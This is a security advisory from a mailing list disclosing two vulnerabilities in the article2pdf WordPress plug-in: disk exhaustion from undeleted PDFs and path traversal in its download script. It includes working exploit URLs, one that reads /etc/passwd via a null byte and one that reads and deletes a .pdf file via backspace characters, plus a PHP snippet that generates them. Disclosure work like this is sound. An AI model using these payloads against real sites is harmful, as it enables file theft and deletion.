CVE-2019-1000031: [article2pdf (Wordpress plug-in)] Multiple vulnerabilities (CVE-2019-1000031, CVE-2019-1010257)

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From: Christian Lerrahn <cybersec () drwaryaa com>
Date: Tue, 26 Mar 2019 12:31:25 +1100

Product: article2pdf (Wordpress plug-in) Product Website: https://wordpress.org/plugins/article2pdf/ Affected Versions: 0.24 and greater

The following vulnerabilities were found in a code review of the plug-in. An attempt to contact the plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress security team disabled downloads

of the plug-in upon notification on 8 January 2019.

I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw) whose course “Seth & Ken’s Excellent Adventures in Secure Code Review” sparked my interest in reviewing code for

vulnerabilities.

[CVE-2019-1000031] Generated PDF file is only removed after download which is initiated by a redirect

===================================================================================================== Type:

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Resource Exhaustion

Description:

The plugin generates a PDF version of a post/article when a link of the form

https://www.example.com/…/my-post-title/?article2pdf=1

is visited. The response to this initial request is a redirect to a link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

which will then return the PDF file contents and subsequently delete the file.

As the deletion is coupled with the download but the download is initiated by a different request than the one which creates the file, visiting the link which creates the file and not following the redirect results in the file not being deleted. These files can then accumulate and potentially exhaust the available disk space.

Depending on the server setup, space exhaustion of a hard drive or hard drive partition or even just a disk quota can result in denial of service even for unrelated services on the same machine which rely on the same resource.

This issue was originally reported on the plugin’s bug tracker [2] but never identified as a vulnerability.

Exploit

Repeatedly visit a PDF generation link the plugin provides without ever following the redirect to exhaust disk space.

[CVE-2019-1010257] PDF file download path is constructed from insufficiently sanitised user input

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Information Disclosure / File Deletion

Description:

When visiting the PDF download link which the original PDF generation link redirects to, the file path is constructed from a combination of fixed strings and the strings provided via the query string of the download URL. The download URL has the form

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

where xxx is a base64 encoded absolute string, xxx is a short hex hash and zzz is the base64 encoded URL title slug of the post the PDF was generated from. While the plugin attempts to sanitise these input parameters to not allow path traversal, this sanitisation is insufficient and can be fully or partially circumvented depending on the PHP version the Wordpress instance is running on.

In the case of PHP version <5.3 it is possible to read any file the user the plugin is executed under has read access to by just encoding the full file path in the parameter “d” and terminating that string with a null-byte. The parameter “p” must not be empty but can contain any value. The parameter “r” may be empty but its value is of no significance. If the user that the script is executed as has write access to the file or the directory it is stored in, the file will be deleted after it has been downloaded. If the user has no write access, an error message may be shown at the end of the file contents offered which discloses the Wordpress instance’s install directory on the server.

In the case of PHP version >=5.3, null-termination will no longer cut off the string. As the generated file name ends with a fixed string ".pdf", only files with that file ending can be read. The parameter “d” may be any directory on the server. The parameter “p” needs to contain 8 backspace characters to delete a prepended fixed string from the file name while the parameter “r” must contain exactly one backspace. The actual file name (without the “.pdf”) can then be appended to the backspaces in either parameter “p” or parameter "r". It is also possible to have “p” contain one random character and then have 10 backspace characters followed by the actual file name (again, without the “.pdf”) stored in parameter "r".

The information above can also be found on the plug-in’s issue tracker [3].

Exploit:

On PHP <5.3, a specially crafted link like

http://php52.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=YQ==&r=&d=L2V0Yy9wYXNzd2QA

will download the server’s /etc/passwd file.

On PHP >=5.3, a specially crafted link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=CAgICAgICAg=&r=%08test&d=L3RtcA==

will return the contents of the file “/tmp/test.pdf” and delete the file if the user the script is executed as has permissions to do so.

The link used above can be generated using a few lines of PHP:

<?php
$d52 = base64\_encode("/etc/passwd\\0");
$p52 = base64\_encode("a");
$r52 = "";

echo "http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p52}&r=${r52}&d=${d52}\n";;

$d53 = base64\_encode("/tmp");
$p53\_raw = "";
for ($i=0;$i<8; $i++) $p53\_raw .= chr(8);
$p53 = base64\_encode($p53\_raw);
$r53 = "%08test";

echo "http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p53}&r=${r53}&d=${d53}\n";;

[1] https://wordpress.org/plugins/article2pdf/

[2] https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/ [3] https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/

Current thread:

• [article2pdf (Wordpress plug-in)] Multiple vulnerabilities (CVE-2019-1000031, CVE-2019-1010257) Christian Lerrahn (Mar 26)